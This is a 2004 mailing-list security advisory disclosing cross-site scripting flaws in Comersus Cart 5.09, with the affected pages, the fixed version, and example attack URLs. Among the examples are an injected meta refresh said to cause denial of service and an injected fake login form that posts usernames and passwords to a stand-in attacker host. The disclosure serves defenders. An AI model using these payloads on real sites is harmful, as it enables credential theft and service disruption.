[NT] Comersus Cart Cross-Site Scripting Vulnerability

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To: list@securiteam.com
Date: 8 Jul 2004 14:03:31 +0200

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  Comersus Cart Cross-Site Scripting Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://www.comersus.com/> Comersus, is an open sourced shopping card.
Comersus has been found to contain multiple cross site scripting
vulnerabilities.

DETAILS

Vulnerable Systems:
 * Comersus Cart version 5.09

Immune Systems:
 * Comersus Cart version 5.098

A malicious user is able to compromise the parameters to invoke a
Cross-Site Scripting attack. This can be used to take advantage of the
trust between a client and server allowing the malicious user to execute
malicious JavaScript on the client's machine or perform a denial of
service shutting down IIS.

Pages Affected:
/comersus/store/comersus_customerAuthenticateForm.asp
/comersus/backofficeLite/comersus_backoffice_message.asp
/comersus/store/comersus_supportError.asp
/comersus/store/comersus_message.asp

Examples:
http://[VICTIM]/comersus/store/comersus_message.asp?message=<meta
http-equiv='refresh' content='0'>

http://[VICTIM]/comersus/store/comersus_message.asp?message=<form
action="http://www.evilhacker.com/save2db.asp"
method="post">Username:<input name="username" type="text"
maxlength="30"><br>Password:<input name="pass
word" type="text" maxlength="30"><br><input name="login" type="submit"
value="Login"></form>

http://[VICTIM]/comersus/backofficeLite/comersus_backoffice_message.asp?message= <script>alert("VULNERABLE_TO_XSS")</script>

ADDITIONAL INFORMATION

The information has been provided by <mailto:tommy@providesecurity.com>
Thomas Ryan.
The original article can be found at:
<http://www.providesecurity.com/research/advisories/07062004-01.asp>
http://www.providesecurity.com/research/advisories/07062004-01.asp

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